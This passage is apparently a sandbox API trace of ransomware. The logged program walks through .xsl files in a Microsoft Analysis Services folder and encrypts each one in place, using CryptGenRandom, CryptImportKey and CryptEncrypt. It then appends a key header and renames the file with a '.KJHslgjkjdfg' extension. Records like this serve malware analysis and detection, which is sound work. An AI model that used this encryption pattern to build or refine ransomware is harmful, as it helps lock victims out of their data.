Size=0x10) returned 0x2f0ee68 [0191.251] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.251] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0191.251] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xe, lpOverlapped=0x0) returned 1 [0191.254] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0191.254] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.254] GetProcessHeap () returned 0x2ef0000 [0191.254] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0191.254] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0191.254] CryptDestroyKey (hKey=0x2f18308) returned 1 [0191.254] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0191.254] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0191.254] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0191.254] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0191.254] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0191.254] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0191.255] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0191.255] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.255] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.255] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4932, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x4932, lpOverlapped=0x0) returned 1 [0191.256] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x4940, dwBufLen=0x4940 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x4940) returned 1 [0191.256] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.256] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x4940, lpOverlapped=0x0) returned 1 [0191.256] CryptDestroyKey (hKey=0x2f18308) returned 1 [0191.256] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x4a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.256] SetEndOfFile (hFile=0x12c) returned 1 [0191.258] GetProcessHeap () returned 0x2ef0000 [0191.258] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0191.258] GetProcessHeap () returned 0x2ef0000 [0191.258] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.258] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.kjhslgjkjdfg")) returned 1 [0191.260] CloseHandle (hObject=0x12c) returned 1 [0191.260] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0191.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0191.261] GetProcessHeap () returned 0x2ef0000 [0191.261] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.261] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.261] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0191.261] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xc, lpOverlapped=0x0) returned 1 [0191.263] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0191.263] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.263] GetProcessHeap () returned 0x2ef0000 [0191.263] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.263] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0191.263] CryptDestroyKey (hKey=0x2f18308) returned 1 [0191.263] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0191.264] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0191.264] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0191.264] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0191.264] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0191.264] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0191.264] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0191.264] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.264] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.264] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x78e4, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x78e4, lpOverlapped=0x0) returned 1 [0191.266] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x78f0, dwBufLen=0x78f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x78f0) returned 1 [0191.266] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.266] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x78f0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x78f0, lpOverlapped=0x0) returned 1 [0191.266] CryptDestroyKey (hKey=0x2f18308) returned 1 [0191.267] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x79c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.267] SetEndOfFile (hFile=0x12c) returned 1 [0191.269] GetProcessHeap () returned 0x2ef0000 [0191.269] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.269] GetProcessHeap () returned 0x2ef0000 [0191.269] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.269] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.kjhslgjkjdfg")) returned 1 [0191.279] CloseHandle (hObject=0x12c) returned 1 [0191.287] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0191.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0191.287] GetProcessHeap () returned 0x2ef0000 [0191.287] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.287] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.287] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0191.287] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x2, lpOverlapped=0x0) returned 1 [0191.289] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0191.289] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.289] GetProcessHeap () returned 0x2ef0000 [0191.289] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0191.289] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0191.290] CryptDestroyKey (hKey=0x2f18308) returned 1 [0191.290] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0191.290] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0191.290] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0191.290] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0191.290] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0191.290] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0191.290] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0191.290] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.290] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.290] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x712e, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x712e, lpOverlapped=0x0) returned 1 [0191.291] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x7130, dwBufLen=0x7130 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x7130) returned 1 [0191.292] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.292] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7130, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x7130, lpOverlapped=0x0) returned 1 [0191.292] CryptDestroyKey (hKey=0x2f18308) returned 1 [0191.292] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x71f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.292] SetEndOfFile (hFile=0x12c) returned 1 [0191.294] GetProcessHeap () returned 0x2ef0000 [0191.294] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0191.294] GetProcessHeap () returned 0x2ef0000 [0191.294] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.295] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.kjhslgjkjdfg")) returned 1 [0191.295] CloseHandle (hObject=0x12c) returned 1 [0191.296] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0191.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0191.297] GetProcessHeap () returned 0x2ef0000 [0191.297] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.297] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.297] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0191.297] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0191.299] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0191.299] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.299] GetProcessHeap () returned 0x2ef0000 [0191.299] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.299] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0191.299] CryptDestroyKey (hKey=0x2f18308) returned 1 [0191.299] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0191.299] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0191.299] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0191.299] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0191.299] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0191.299] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0191.300] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0191.300] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.300] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.300] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x851c, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x851c, lpOverlapped=0x0) returned 1 [0191.301] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x8520, dwBufLen=0x8520 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x8520) returned 1 [0191.301] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.301] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8520, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x8520, lpOverlapped=0x0) returned 1 [0191.301] CryptDestroyKey (hKey=0x2f18308) returned 1 [0191.301] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x85f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.301] SetEndOfFile (hFile=0x12c) returned 1 [0191.304] GetProcessHeap () returned 0x2ef0000 [0191.304] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.304] GetProcessHeap () returned 0x2ef0000 [0191.304] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.304] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.kjhslgjkjdfg")) returned 1 [0191.307] CloseHandle (hObject=0x12c) returned 1 [0191.307] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0191.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0191.311] GetProcessHeap () returned 0x2ef0000 [0191.311] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.311] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.311] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0191.311] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xe, 